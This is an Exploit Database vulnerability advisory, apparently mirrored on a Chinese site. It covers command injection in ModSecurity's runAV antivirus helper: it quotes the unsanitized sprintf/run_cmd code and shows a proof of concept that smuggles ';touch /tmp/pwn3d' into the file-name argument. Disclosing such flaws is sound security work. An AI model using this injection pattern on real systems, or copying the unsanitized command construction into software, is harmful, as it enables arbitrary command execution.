runAV mod_security – Arbitrary Command Execution

• Exploit Database
• 19 阅读

• 作者： R-73eN
  日期： 2016-05-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39811/

• # Title : runAV mod_security Remote Command Execution
  # Date : 13/05/2016
  # Author : R-73eN
  # Tested on : mod_security with runAV Linux 4.2.0-30-generic #36-Ubuntu SMP Fri Feb 26 00:57:19 UTC 2016 i686 i686 i686 GNU/Linux
  # Software : https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/util/av-scanning/runAV
  # Vendor : https://www.modsecurity.org/
  #_________ __
  # |_ _|_ __/ _| ___/ ___| ___ _ __/ \| |
  #| || '_ \| |_ / _ \| |_ / _ \ '_ \/ _ \ | |
  #| || | | |_| (_) | |_| |__/ | | |/ ___ \| |___ 
  # |___|_| |_|_|\___/ \____|\___|_| |_| /_/ \_\_____|
  #
  #
  
  
  
  #include "common.h"
  
  main(int argc, char *argv[])
  {
  	char cmd[MAX_OUTPUT_SIZE];
  	char output[MAX_OUTPUT_SIZE];
  	int error;
  	char *colon;
  	char *keyword;
  
  	if (argc > 1) {
  		sprintf (cmd, "/usr/bin/clamscan --no-summary %s", argv[1]);
  		output[0] = '\0';
  		error = run_cmd(cmd,output,MAX_OUTPUT_SIZE);
  
  +++++++++++++++++ OTHER CODE +++++++++++++++++++++++++++++++++
  
  
  The argv[1] parameter is passed unsanitized to a sprintf function which sends the formatted output to the cmd variable,
  which is later passed as a parameter to a run_cmd function on line 14.
  https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/av-scanning/runAV/runAV.c#L14
  
  POC:
  
  snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ./runAV "foo.php;touch /tmp/pwn3d"
  sh: 1: /usr/bin/clamscan: not found
  1 exec empty: OK
  snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ls -la /tmp/ | grep pwn3d
  -rw-rw-r--1 snort snort0 Maj 13 16:45 pwn3d
  snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$